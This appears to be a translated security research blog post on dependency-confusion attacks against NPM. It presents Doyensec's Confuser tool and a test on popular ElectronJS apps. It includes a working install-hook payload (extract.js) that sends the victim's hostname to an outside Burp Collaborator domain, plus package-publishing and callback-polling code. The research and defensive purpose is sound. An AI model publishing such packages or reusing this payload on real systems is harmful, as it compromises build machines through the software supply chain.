依赖混淆
2022年7月21日 - 发布者 Szymon Drosdzol
2022年2月9日,PortSwigger宣布Alex Birsan的"依赖混淆"研究荣获2021年十大Web黑客技术榜首。过去一年中,该技术获得了广泛关注。尽管如此,关于挖掘和缓解此漏洞的深入信息仍然稀缺。
我一直认为理解某件事的最佳方式是获得实践经验。在接下来的文章中,我将展示我的研究成果,重点是创建一个全方位工具(名为Confuser)来测试和利用现实中的潜在依赖混淆漏洞。为验证有效性,我们在Github上的顶级ElectronJS应用程序中寻找潜在的依赖注入漏洞(剧透:这不是个好主意!)。
该工具已帮助Doyensec在安全评估中确保客户免受此威胁,我们相信它也能为研究人员和蓝队提供测试便利。
那么…什么是依赖混淆?
依赖混淆是针对应用程序构建过程的攻击。它是私有依赖仓库配置错误的结果。易受攻击的配置允许从主公共仓库(例如NPM的registry.npmjs.com)下载本地包的版本。当私有包仅在本地仓库中注册时,攻击者可以在主仓库上传同名且版本号更高的恶意包。当受害者更新其包时,恶意代码将在构建或开发机器上下载并执行。
为什么依赖注入如此难以研究?
尽管受到关注,依赖混淆似乎仍未被充分探索,原因有多方面。
存在大量依赖管理系统
每种编程语言使用不同的包管理工具,大多数都有各自的仓库。许多语言有多个工具。仅JavaScript就有NPM、Yarn和Bower等。每个工具都有其自己的仓库生态系统、工具、本地包托管选项(或缺乏)。在处理使用不同技术栈的项目时,包含另一个仓库系统需要显著的时间成本。
在我的研究中,我决定专注于NPM生态系统。主要原因是其流行度。它是JavaScript的主要包管理系统,我的次要目标是测试ElectronJS应用程序的此漏洞。专注于NPM能保证覆盖大多数目标应用程序。
实际利用需要与第三方服务交互
为了利用此漏洞,研究人员需要将恶意包上传到公共仓库。理所当然,大多数仓库积极反对此类行为。在NPM上,恶意包会被标记和移除,同时所有者账户会被封禁。
在研究期间,我感兴趣的是观察攻击者在其有效载荷从仓库移除前有多少时间。此外,NPM实际上不是攻击目标,因此我的目标之一是尽量减少对平台本身及其用户的影响。
从目标可靠提取信息很困难
在成功利用的情况下,目标机器通常是受害者组织网络内的构建机器。虽然这是此攻击如此危险的重要原因,但从此类网络提取信息并不总是容易的任务。
Alex在其原始研究中提出DNS提取技术来提取受攻击机器的信息。这也是我决定使用的技术。它需要带有自定义DNS服务器的小型基础设施,不像大多数Web利用攻击,通常只需要HTTP代理或浏览器。这突出了如果社区要可靠地寻找这些错误,构建像我这样的工具是必要的。
工具
那么,如何应对这些问题?我决定尝试创建Confuser——一个试图解决上述问题的工具。
该工具是开源的,可在https://github.com/doyensec/confuser获取。
请尊重我们的NPM朋友,不要制造问题!
过程
研究任何依赖混淆漏洞包括三个步骤。
步骤1) 侦察
寻找依赖混淆错误需要包含应用程序依赖列表的包文件。对于使用NPM的项目,package.json文件包含此类信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
{
"name": "Doyensec-Example-Project",
"version": "1.0.0",
"description": "This is an example package. It uses two dependencies: one is a public one named axios. The other one is a package hosted in a local repository named doyensec-library.",
"main": "index.js",
"author": "Doyensec LLC <info@doyensec.com>",
"license": "ISC",
"dependencies": {
"axios": "^0.25.0",
"doyensec-local-library": "~1.0.1",
"another-doyensec-lib": "~2.3.0"
}
}
|
当研究人员找到package.json文件时,他们的首要任务是识别潜在易受攻击的包。这意味着不在公共仓库中可用的包。验证包存在的过程似乎相当简单。只需要一个HTTP请求。如果响应状态码不是200,包可能不存在:
1
2
3
|
def check_package_exists(package_name):
response = requests.get(NPM_ADDRESS + "package/" + package_name, allow_redirects=False)
return (response.status_code == 200)
|
简单?嗯…差不多。NPM还允许作用域包名称,格式如下:@scope-name/package-name。在这种情况下,如果攻击者可以注册具有给定名称的作用域,包可能成为依赖混淆的目标。这也可以通过查询NPM来验证:
1
2
3
4
|
def check_scope_exists(package_name):
split_package_name = package_name.split('/')
scope_name = split_package_name[0][1:]
response = requests.get(NPM_ADDRESS + "~" + scope_name, allow_redirects=False)
|
我构建的工具允许简化此过程。研究人员可以将package.json文件上传到我的Web应用程序。在后端,文件将被解析,并迭代其依赖项。结果,研究人员收到一个清晰的表格,包含给定项目的潜在易受攻击包和版本:
![侦察结果表示例]
这种方法的缺点是需要枚举NPM服务,每个项目需要数十个HTTP请求。为了减轻对服务的压力,我决定实现本地缓存。任何一次被识别为存在于NPM注册表中的包名称都保存在本地数据库中,并在连续扫描中跳过。因此,不需要重复查询相同的包。在扫描从Github抓取的大约50个package.json文件后,我估计缓存将所需请求数量减少了40%以上。
步骤2) 有效载荷生成和上传
成功利用依赖混淆漏洞需要一个在受害者安装后回连的包。对于NPM,最简单的方法是利用安装钩子。NPM包允许钩子在每次安装给定包时运行。此功能是触发依赖有效载荷的完美场所。我使用的package.json模板如下:
1
2
3
4
5
6
7
8
9
10
11
12
|
{
"name": "{package_name}",
"version": "{package_version}",
"description": "This package is a proof of concept used by Doyensec LLC to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package.",
"main": "index.js",
"author": "Doyensec LLC <info@doyensec.com>",
"license": "ISC",
"dependencies": { },
"scripts": {
"install": "node extract.js {project_id}"
}
}
|
请注意描述,它告知用户和维护者包的用途。这是尝试将包与恶意包区分开来,并告知NPM和潜在受害者操作的性质。
安装钩子运行extract.js文件,该文件尝试提取有关运行机器的最小数据:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
const https = require('https');
var os = require("os");
var hostname = os.hostname();
const data = new TextEncoder().encode(
JSON.stringify({
payload: hostname,
project_id: process.argv[2]
})
);
const options = {
hostname: process.argv[2] + '.' + hostname + '.jylzi8mxby9i6hj8plrj0i6v9mff34.burpcollaborator.net',
port: 443,
path: '/',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': data.length
},
rejectUnauthorized: false
}
const req = https.request(options, res => {});
req.write(data);
req.end();
|
我决定节省实现假DNS服务器的时间,使用Burp Collaborator提供的现有基础设施。文件将使用给定项目ID和受害者主机名作为子域,并尝试向Burp Collaborator域发送HTTP请求。这样我的工具将能够将回调分配给正确的项目以及受害者的主机名。
有效载荷生成后,使用npm命令本身将包发布到公共NPM仓库:npm publish。
步骤3) 回调聚合
链中的最后一步是接收和聚合回调。如前所述,我决定使用Burp Collaborator基础设施。为了能够将回调下载到我的后端,我在Python中实现了一个简单的Burp Collaborator客户端:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
class BurpCollaboratorClient():
BURP_DOMAIN = "polling.burpcollaborator.net"
def __init__(self, colabo_key, colabo_subdomain):
self.colabo_key = colabo_key
self.colabo_subdomain = colabo_subdomain
def poll(self):
params = {"biid": self.colabo_key}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"}
response = requests.get(
"https://" + self.BURP_DOMAIN + "/burpresults", params=params, headers=headers)
if response.status_code != 200:
raise Error("Failed to poll Burp Collaborator")
result_parsed = json.loads(response.text)
return result_parsed.get("responses", [])
|
轮询后,返回的回调被解析并分配给正确的项目。例如,如果任何人在我之前显示的示例项目上运行npm install,它将在应用程序中呈现以下回调:
![回调结果示例]
测试运行
为验证Confuser的有效性,我们决定测试Github上顶级的50个ElectronJS应用程序。
我从官方ElectronJS仓库(可在此处获取)提取了Electron应用程序列表。然后,我使用Github API按星数对仓库进行排序。对于前50个,我抓取了package.json文件。
这是抓取文件的Node脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
for (i = 0; i < 50 && i < repos.length;) {
let repo = repos[i]
await octokit
.request("GET /repos/" + repo.repo + "/commits?per_page=1", {})
.then((response) => {
var sha = response.data[0].sha
return octokit.request("GET /repos/" + repo.repo + "/git/trees/:sha?recursive=1", {
"sha": sha
});
})
.then((response) => {
for (file_index in response.data.tree) {
file = response.data.tree[file_index];
if (file.path.endsWith("package.json")) {
return octokit.request("GET /repos/" + repo.repo + "/git/blobs/:sha", {
"sha": file.sha
});
}
}
return null;
})
.then((response) => {
if (!response) return null;
i++;
var package_json = Buffer.from(response.data.content, 'base64').toString('utf-8');
repoNameSplit = repo.repo.split('/');
return fs.writeFileSync("package_jsons/" + repoNameSplit[0]+ '_' + repoNameSplit[1] + ".json", package_json);
});
}
|
脚本从每个仓库获取最新提交,然后递归搜索其文件以查找任何名为package.json的文件。此类文件被下载并保存在本地。
下载这些文件后,我将它们上传到Confuser工具。结果扫描了近3k个依赖包。不幸的是,只有一个应用程序有一些潜在目标。事实证明,它来自一个存档仓库,因此尽管在NPM仓库中有一个"恶意"包超过24小时(之后被NPM移除),我没有收到受害者的任何回调。我收到了一些似乎下载应用程序进行分析的机器的回调。这也突出了我的有效载荷的问题——仅获取受害者的主机名可能不足以区分实际受害者和误报。更准确的有效载荷可能涉及收集本地路径和本地用户等信息,但这会引发隐私问题。
示例误报:
![误报示例]
事后看来,从公共仓库抓取package.json文件是一种相当天真的方法。开源项目很可能只使用公共依赖,不依赖任何私有基础设施。在我研究的最后一天,我下载了一些闭源Electron应用程序。解包后,我在许多情况下能够提取package.json,但没有产生任何有趣的结果。
总结
我们发布Confuser——一个新创建的工具,用于查找和测试依赖混淆漏洞。它允许扫描package.json文件,生成有效载荷并发布到NPM仓库,最后聚合来自易受攻击目标的回调。
这项研究使我大大增加了对此漏洞性质和利用方法的理解。该工具已经过充分测试,在Doyensec的评估中表现良好。也就是说,在这个领域仍有许多改进可以做:
- 实现自己的DNS服务器或至少与Burp的自托管Collaborator服务器实例集成
- 添加对其他语言和仓库的支持
此外,在依赖混淆漏洞领域似乎有几个研究机会:
- 将研究扩展到闭源ElectronJS应用程序似乎有前途。虽然像Microsoft这样的高调目标可能已经覆盖了这方面(也因为他们是原始研究的目标),但可能还有许多其他应用程序仍然易受攻击
- 研究其他依赖管理平台。原始研究涉及NPM、Ruby Gems、Python的PIP、JFrog和Azure Artifacts。类似问题很可能存在于其他环境中